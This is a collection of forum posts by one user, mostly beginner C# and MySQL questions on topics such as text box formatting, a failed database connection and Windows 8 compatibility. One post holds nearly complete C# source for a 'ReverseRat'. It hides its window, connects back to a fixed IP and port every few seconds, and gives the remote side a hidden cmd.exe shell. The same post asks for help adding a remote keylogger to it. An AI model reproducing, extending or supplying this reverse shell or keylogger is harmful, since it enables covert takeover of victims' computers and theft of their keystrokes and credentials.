Pilot122x 17 Light Poster

Ok, so right to it.

int CSQLDB::Init(const char *host, const char *user, const char *passwd, const char *db)
{
    //Init mySQL
    mySQL = mysql_init(mySQL);
    my_bool rec = 1;
    mysql_options(mySQL, MYSQL_OPT_RECONNECT, &rec);
    if(!mysql_real_connect(mySQL, host, user, passwd, db, 3306, NULL, NULL))
    {
        printf("(!!!) mySql connection rejected!\n");
        mysql_close(mySQL);
        return 0;
    }
    failed = false;
    //printf("mySQL connected successfully.\n");
    return 1;
}

This is the code that is attempting to connect to my MySQl with the values I provide after editing a .bat file with this code:

Spitfire.exe 0.0.0.0 127.0.0.1 root mykel

Syntax is "Spitfire.exe bindip mysqlip mysqluser mysqlpass"

but for some reason I continue to get same error:

(!!!) mySql connection rejected!

If anyone cane help, that'll be great. Also, just to mention, when I have Skype up or Apache(XAMPP) it gives me a different error which is "Port 443 is already in use", though I don't see anything mentioning port 443 anywhere. Here's the full code just in case:

//
// SQLDB.cpp
// Project Spitfire
//
// Copyright (c) 2013 Daizee (rensiadz at gmail dot com)
//
// This file is part of Spitfire.
// 
// Spitfire is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// 
// Spitfire is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the …
Pilot122x 17 Light Poster

Hey all,

I am trying to implement a remote keylogger into my reverse tcp connection program but IM not sure where to start, I dont usually deal with socket programming so I dont understand giving remote commands, so Id like you guys to either give me a few links or I'd appreciate a few lines of code.

//This is the Server,which is sent to the computer I wish to control

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;            //for Streams
using System.Diagnostics;   //for Process

namespace ReverseRat
{
    public partial class Form1 : Form
    {
        TcpClient tcpClient;
        NetworkStream networkStream;
        StreamWriter streamWriter;
        StreamReader streamReader;
        Process processCmd;
        StringBuilder strInput;

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            for (;;)
            {
                RunServer();
                System.Threading.Thread.Sleep(5000); //Wait 5 seconds
            }                                        //then try again
        }

        private void RunServer()
        {
            tcpClient = new TcpClient();
            strInput = new StringBuilder();
            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect("192.168.56.1", 6666);
                    networkStream = tcpClient.GetStream();
                    streamReader = new StreamReader(networkStream);
                    streamWriter = new StreamWriter(networkStream);
                }
                catch (Exception err) { return; } //if no Client don't continue

                processCmd = new Process();
                processCmd.StartInfo.FileName = "cmd.exe";
                processCmd.StartInfo.CreateNoWindow = true;
                processCmd.StartInfo.UseShellExecute = false;
                processCmd.StartInfo.RedirectStandardOutput = true;
                processCmd.StartInfo.RedirectStandardInput = true;
                processCmd.StartInfo.RedirectStandardError = true;
                processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                processCmd.Start();
                processCmd.BeginOutputReadLine();
            }

            while (true)
            {
                try
                {
                    strInput.Append(streamReader.ReadLine());
                    strInput.Append("\n");
                    if (strInput.ToString().LastIndexOf("terminate") >= 0) StopServer();
                    if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
                    processCmd.StandardInput.WriteLine(strInput);
                    strInput.Remove(0, strInput.Length);
                }
                catch (Exception err)
                {
                    Cleanup();
                    break;
                }
            }

        }

        private void Cleanup()
        { …
Pilot122x 17 Light Poster

He He said thats all he got..and now hes getting this message

f6f00fb720eb3ea076bb0f29962e7ec8

Pilot122x 17 Light Poster

so recnetly I released a product of mine to a few close friends, one of these friends runs windows 8 and I coded my program in C# 2010, Windows 7..He gets an error saying improperly formatted, is the fix for that me upgrading to c# 2012 or in there a program that could format my program for windows 8?

Any help would be appreciated please

Pilot122x 17 Light Poster

hmm alright thx for your help

Pilot122x 17 Light Poster

ah, what if I do it with XML?

Pilot122x 17 Light Poster

I need to find out how to cut text and insert text into a textfile.....I know about StreamReader and StreamWriter but i dont think any of these will do unless theres some method in the class that I dont know about.

I want to be able for example read from script.txt but before it is printed and the user can see it, I remove certain things they dont want which would be specified by checkbox such as if chechbox1 is checked then it will cut out the line I specify in the code such as line 7...is there anyway to do this?

Pilot122x 17 Light Poster

I sometimes forget the little things while im working with more advanced code, which is the reason for me asking as I was in a bit of a hurry and needed to find this out before I reach too far in my program. Thanks all of you for your assistance, will check this later ddanbe if it works ill make sure to mark this as solved

Pilot122x 17 Light Poster

I have exactly what was posted in my code and it didnt work but I guess Ill just try to find a way to figure it out myself

Pilot122x 17 Light Poster

It didnt work btw

Pilot122x 17 Light Poster

Alright thx much, If you could still post a link or an example with the this condition it would be nice as I might as well learn it now

Pilot122x 17 Light Poster

would you mind explaining this condition or giving me a link to a explanation?

Pilot122x 17 Light Poster

all the selectable items in listBox2 are "level1-level10" << All 10 options, when I run it and I select for example "level1" from listBox2 I get "upgrade cottagelevel2....but I want it to be "upgrade cottage level2", Help very much appreciated

Pilot122x 17 Light Poster
 if (listBox1.GetSelected(0))
            {
                richTextBox1.AppendText(Environment.NewLine + "upgrade cottage" + listBox2.SelectedItem);
            }

WHen this code is executed, it prints into the richTextBox1 the words upgrade cottage + the selection of listbox 2, I was wondering how do I put a space between the two?

Pilot122x 17 Light Poster

Yes, I find that the AppendText method does work perfectly and "tinstaafl" thanks, found out what I was trying to do wouldve given me crazy syntax errors without the Event

Pilot122x 17 Light Poster
 private void Cottage_Click(object sender, EventArgs e)
        {
            richTextBox1.Text = "create cottage";
            richTextBox1.Text = "create Bob";
        }

So when I run the code what gets printed is Bob of course I knew this would happen from the moment I wrote the code but I do not know what to put instead, I want to be able to print both on two seperate lines also I will have many other buttons printing into this same RichTextBox so I need to know how to move from my curent line and print on the next line everytime I click on the button....Thank you :)

Also How would I make a If statement where if the button is clicked then it prints "Hola" into the richtextbox?

Pilot122x 17 Light Poster

I see nothing to help if there is no code. I don't know the error unless the error is "pls help". The only way we help with these kind of things is if there's code, where not here to guess.

Pilot122x 17 Light Poster

Welcome Peter,

Hope you enjoy your time here and yes what you said is true so more questions more knowledge :)

Pilot122x 17 Light Poster

I'd go with wireless as Bluetooth is mainly for sharing.

Pilot122x 17 Light Poster

Your welcome and lol

Pilot122x 17 Light Poster
ss125 commented: Useful links!!! +3
Pilot122x 17 Light Poster

Please explain in more detail what you want to do because I really don't understand what your saying

Pilot122x 17 Light Poster

So from what I read above the code, you want to delete just a single record?

I don't see you specifying that within the code unless I missed it(Terrible sight today) so that's what I suggest you do if you still wish for the code tell me in your reply as I am not on the computer currently

Pilot122x 17 Light Poster

I simply don't understand people these days. I only need phones to call and text :)

Pilot122x 17 Light Poster

Do you know any languages? If you do why not tell us so we don't have to guess

Also there are many online website hosting services that do the very thing your asking

Pilot122x 17 Light Poster

First PHP wouldn't really be used for designing.
Second PHP is script-sided ex. Databases

Third I won't explain because the makers themselves has a good explanation.

http://php.net/manual/en/intro-whatcando.php

Pilot122x 17 Light Poster

Hold on, Before I say what I want to let me just point out I have not favorites of phones.

While apple may be thinking they won something and are skyrocketing in cash, this isn't the case and ill explain why.

People say Steve jobs wasn't smart an inventor/innovated but he was just surrounded by smarter people and eventually came up with you know what......

Well that is false, ever since Steve Jobs died Apple has been releasing the same thing over and over with new software etc(besides for the IPad mini), so basically if they keep this up sales will eventually decrease and Samsung will take the lead and laugh at Apple.

Going for court for something like this just shows how Apple thinks, I believe someday the technology world will change and claims on these kind of things will be banned.

Hopefully before that day Samsung or others will come out with 3d designs and copyright it, Lets see what Apple says then.

Yes, it was wrong for the court to said with apple

Pilot122x 17 Light Poster

First before I attempt to assist let me ask you these:

By old videos do you mean other videos recorded with the high resolution?

If so then sometimes when you convert a video, the converter will have an option of how high Quality you want the video,Obviously the higher it is the longer it takes to convert

Take a look here : http://www.movavi.com/support/how-to/video-resolution.html

I don't believe the software is free but I'm just giving you an example.

There are many other video converters out there which you can find with just a search on google

Pilot122x 17 Light Poster

Naturally the IP would work since using the IP means your directly connecting to it, It might be that there is no longer a "serverName" because of the little accident you had with the wires.

My suggestion is you try to contact your college friend to assist.

If that is to no avail you can restart the server but this is entirely up to you and it is only a suggestion. Also if you restart the server warn any users first.

Pilot122x 17 Light Poster

I'm not extremely good at this are but what I can say is that for networks, tripping over a cable could be as simple as "Just plug it back in" or it may escalate to even more server weaknesses but the point is I believe it had something to do with that cable.

For a better answer, we'll your gonna have to wait for morning

Pilot122x 17 Light Poster

Hey bro take a look here and you'll get some ebooks.

http://stackoverflow.com/questions/194812/list-of-freely-available-programming-books

I can't really tell you which one is suitable for you sine I don't know how you learn so I would suggest you read thought a page or two of each XML/JSON ebook and see if it suits you. Hope I helped

Pilot122x 17 Light Poster

One question though:

What are you currently doing? Is it an online class

And also explain to me exactly what your problem is thank you

Pilot122x 17 Light Poster

Just a tip.

Paying people who now are professionals wont help you become one. The smart thing to do is to tell us what this assignment is and we will try to help you with it.

If it was a regular project I would take the money and try to do this but it's an assignment it would only benefit me not you.

ddanbe commented: Good answer. +14
Pilot122x 17 Light Poster

Alright Im going to read it now

Pilot122x 17 Light Poster

Yes I will come back again, But im on someone's elses computer and I dont like downloading things on other computers, Anyway thanks Im not mkaing a pilot program so Yeh so I wont need Name or Callsign and any other stuff Ill just Change Pilot to Username Or Something

Pilot122x 17 Light Poster

Alright guys I need some assistance with this.

Ok In a few days I will start my project but I need to how to do something, Read Below:

I need to find out how to display a Users specific table within My MySQL database for example here is a picture of a program that does something like that.

http://tinypic.com/r/2elf61j/5

If the area that was highlighted in red was shown in a MySQL database it would be displayed like this

Pilot Name | Callsign| Rank| Pilot Status| Assigned Hub| Flights this Month| total Flights|

and then the Value would be displayed Below in columns such as Pilot name would hold 100's of names

But right now lets focus, How exactly do I do this If you can just guve me the code with a small guide it would be appreciated Thank you.

Pilot122x 17 Light Poster

Never heard of them, Id suggest you wait until youve got more people to vouche for them

Pilot122x 17 Light Poster

I swear you guys need a home and learn certificate

Pilot122x 17 Light Poster

I also use homeAnlearn it is advices you read about three times unless you have some seriously good memory I sometimes even read it while I'm making a new program

Pilot122x 17 Light Poster

Help me please my name is micheal Minner and I am a flight simulator enthusiast and I am attempting to put together a little progran but I need your help its just three questions and all three I wouldn't consider advanced

Briefing: I have a login screen connected to a database already added

  1. How can I display a users profile from a website in a box to the side of the form.
    I want it to get the username that was used to login to the form and add a profile.php extension so it should like like
    e.g www.satavirtual.org/(name goes here)/profile.php

I want it to be going down like

Name: Alex rein old
Callsign:IRB875
Flights Flown: 78
Hours: 200 hours
Virtual airline: Sata virtual

I want it just like that

  1. I want to create an aircraft information list but I want it to be clickable, and once it is clicked a detailed description pops up. If you do not have this code it doesn't matter but it would be nice

  2. Last of all is I want to code a tab that displays HTML from a website and updates once the data on the web page is changed

Thanks all it would help out alot if I got the codes and you will be given credits once program is published

Feel free to email me at mykelmills@ymail.com